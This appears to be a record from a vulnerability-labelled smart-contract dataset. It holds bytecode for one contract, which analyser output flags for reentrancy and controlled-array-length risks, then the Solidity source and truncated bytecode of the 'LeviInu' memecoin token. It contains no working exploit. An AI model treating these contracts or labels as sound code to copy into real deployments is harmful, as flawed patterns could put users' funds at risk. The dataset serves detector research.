0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806308a80ff51461014257806311adbaad146101855780631417b946146101f15780631b388497146102485780631b3f2fd3146102a35780633389f273146102fa578063394580d21461036a578063394610cf146103d057806348ec2e80146103fb57806357f1935f146104525780638d8f2adb146104b55780638da5cb5b146104cc5780639076c166146105235780639377530f1461057057806397a993aa1461059b578063b1d17c98146105f6578063c58156e014610639578063edf26d9b1461067c578063ef5d9ae8146106e9578063f2fde38b14610740578063f9718fc814610783578063fb86a4041461079a578063fc0c546a146107c5575b34801561013f57600080fd5b50005b34801561014e57600080fd5b50610183600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061081c565b005b34801561019157600080fd5b5061019a610973565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156101dd5780820151818401526020810190506101c2565b505050509050019250505060405180910390f35b3480156101fd57600080fd5b50610206610ab4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025457600080fd5b50610289600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ada565b604051808215151515815260200191505060405180910390f35b3480156102af57600080fd5b506102e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610afa565b6040518082815260200191505060405180910390f35b34801561030657600080fd5b506103686004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610b9b565b005b34801561037657600080fd5b506103ce60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610c91565b005b3480156103dc57600080fd5b506103e5610d85565b6040518082815260200191505060405180910390f35b34801561040757600080fd5b5061043c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d8b565b6040518082815260200191505060405180910390f35b34801561045e57600080fd5b506104b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da3565b005b3480156104c157600080fd5b506104ca610fc6565b005b3480156104d857600080fd5b506104e1610fd1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052f57600080fd5b5061056e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff6565b005b34801561057c57600080fd5b5061058561117f565b6040518082815260200191505060405180910390f35b3480156105a757600080fd5b506105dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611185565b604051808215151515815260200191505060405180910390f35b34801561060257600080fd5b50610637600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111a5565b005b34801561064557600080fd5b5061067a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611642565b005b34801561068857600080fd5b506106a760048036038101908080359060200190929190505050611875565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f557600080fd5b5061072a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118b3565b6040518082815260200191505060405180910390f35b34801561074c57600080fd5b50610781600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118cb565b005b34801561078f57600080fd5b50610798611a20565b005b3480156107a657600080fd5b506107af611ca6565b6040518082815260200191505060405180910390f35b3480156107d157600080fd5b506107da611cac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561087757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156108b357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a1d57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a2857600080fd5b600a805480602002602001604051908101604052809291908181526020018280548015610aaa57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610a60575b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5457600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c4557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c5057600080fd5b600090505b8251811015610c8c57610c7f8382815181101515610c6f57fe5b9060200190602002015183610ff6565b8080600101915050610c55565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d3b57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610d4657600080fd5b600090505b8151811015610d8157610d748282815181101515610d6557fe5b906020019060200201516111a5565b8080600101915050610d4b565b5050565b60045481565b60066020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610e9b57600080fd5b505af1158015610eaf573d6000803e3d6000fd5b505050506040513d6020811015610ec557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f7b57600080fd5b505af1158015610f8f573d6000803e3d6000fd5b505050506040513d6020811015610fa557600080fd5b81019080805190602001909291905050501515610fc157600080fd5b505050565b610fcf336111a5565b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061109e57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156110a957600080fd5b6000811115156110b857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156110f457600080fd5b6110fd81611cd2565b151561110857600080fd5b6111128282611cf5565b61112781600454611f8b90919063ffffffff16565b6004819055508173ffffffffffffffffffffffffffffffffffffffff167f0ffd3aeffde0046f350b6911bd977f32dc01cc556800570a299924016424986f826040518082815260200191505060405180910390a25050565b60025481565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156111ff57600080fd5b6001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561135757600080fd5b505af115801561136b573d6000803e3d6000fd5b505050506040513d602081101561138157600080fd5b81019080805190602001909291905050501015151561139f57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561146457600080fd5b505af1158015611478573d6000803e3d6000fd5b505050506040513d602081101561148e57600080fd5b810190808051906020019092919050505015156114aa57600080fd5b6114fc81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8b90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061155481600254611f8b90919063ffffffff16565b6002819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fdce191afbd76910823a78607a154539e594ebd5b3b992822482ab19878b0ffdf82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460025460405180848152602001838152602001828152602001935050505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156116db57600080fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561172957600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061178081600454611fa990919063ffffffff16565b6004819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f6663b087c0936084d744bee71afc865b103c8c11d3127a34a96c470ebde777ca826040518082815260200191505060405180910390a25050565b600a8181548110151561188457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561192657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561196257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7d57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611b3a57600080fd5b505af1158015611b4e573d6000803e3d6000fd5b505050506040513d6020811015611b6457600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611c5d57600080fd5b505af1158015611c71573d6000803e3d6000fd5b505050506040513d6020811015611c8757600080fd5b81019080805190602001909291905050501515611ca357600080fd5b50565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554611cec83600454611f8b90919063ffffffff16565b11159050919050565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ea4576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8290806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611ef681600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8b90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f83c0dd2551bb8129e7b8847d762bed002e08f7ea159af7b10047c49371092da9826040518082815260200191505060405180910390a25050565b6000808284019050838110151515611f9f57fe5b8091505092915050565b6000828211151515611fb757fe5b8183039050929150505600a165627a7a72305820a8721683efa89fad415c3aacf0b28e0e49eefc16d04dd6800d1729038cc9e63d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,319 |
0x4203d9a06890d40755370b6e4037bba21fa2bed4
|
/**
*Submitted for verification at Etherscan.io on 2021-09-26
*/
// SPDX-License-Identifier: Unlicensed
/*
Telegram: https://t.me/Leviinuofficial
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LeviInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistributionAddress;
uint256 private _feeAddr2;
address payable private _marketingAddress;
string private constant _name = "LeviInu";
string private constant _symbol = "LEVI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public openTradingTime;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_marketingAddress = payable(0x2721Edd7DadD638246Ab5C324E2E7029F32f75F1);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_redistributionAddress = 1;
_feeAddr2 = 5;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
if (block.timestamp < openTradingTime + 15 minutes) {
require(amount <= _maxTxAmount);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000 * 10 ** 9) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
openTradingTime = block.timestamp;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461030a578063a9059cbb14610335578063c3c8cd8014610372578063c9567bf914610389578063dd62ed3e146103a057610109565b80636fc3eaec1461027457806370a082311461028b578063715018a6146102c85780638da5cb5b146102df57610109565b80632ab30838116100d15780632ab30838146101de578063313ce567146101f5578063325b3b18146102205780635932ead11461024b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103dd565b6040516101309190612437565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612040565b61041a565b60405161016d919061241c565b60405180910390f35b34801561018257600080fd5b5061018b610438565b6040516101989190612559565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611fed565b61044a565b6040516101d5919061241c565b60405180910390f35b3480156101ea57600080fd5b506101f3610523565b005b34801561020157600080fd5b5061020a6105cb565b60405161021791906125ce565b60405180910390f35b34801561022c57600080fd5b506102356105d4565b6040516102429190612559565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190612080565b6105da565b005b34801561028057600080fd5b5061028961068c565b005b34801561029757600080fd5b506102b260048036038101906102ad9190611f53565b6106fe565b6040516102bf9190612559565b60405180910390f35b3480156102d457600080fd5b506102dd61074f565b005b3480156102eb57600080fd5b506102f46108a2565b604051610301919061234e565b60405180910390f35b34801561031657600080fd5b5061031f6108cb565b60405161032c9190612437565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190612040565b610908565b604051610369919061241c565b60405180910390f35b34801561037e57600080fd5b50610387610926565b005b34801561039557600080fd5b5061039e6109a0565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190611fad565b610f06565b6040516103d49190612559565b60405180910390f35b60606040518060400160405280600781526020017f4c657669496e7500000000000000000000000000000000000000000000000000815250905090565b600061042e610427610f8d565b8484610f95565b6001905092915050565b600069d3c21bcecceda1000000905090565b6000610457848484611160565b61051884610463610f8d565b61051385604051806060016040528060288152602001612b0b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c9610f8d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114569092919063ffffffff16565b610f95565b600190509392505050565b61052b610f8d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105af906124d9565b60405180910390fd5b69d3c21bcecceda1000000601081905550565b60006009905090565b600f5481565b6105e2610f8d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610666906124d9565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106cd610f8d565b73ffffffffffffffffffffffffffffffffffffffff16146106ed57600080fd5b60004790506106fb816114ba565b50565b6000610748600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611526565b9050919050565b610757610f8d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107db906124d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4c45564900000000000000000000000000000000000000000000000000000000815250905090565b600061091c610915610f8d565b8484611160565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610967610f8d565b73ffffffffffffffffffffffffffffffffffffffff161461098757600080fd5b6000610992306106fe565b905061099d81611594565b50565b6109a8610f8d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2c906124d9565b60405180910390fd5b600e60149054906101000a900460ff1615610a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7c90612539565b60405180910390fd5b42600f819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1d30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffff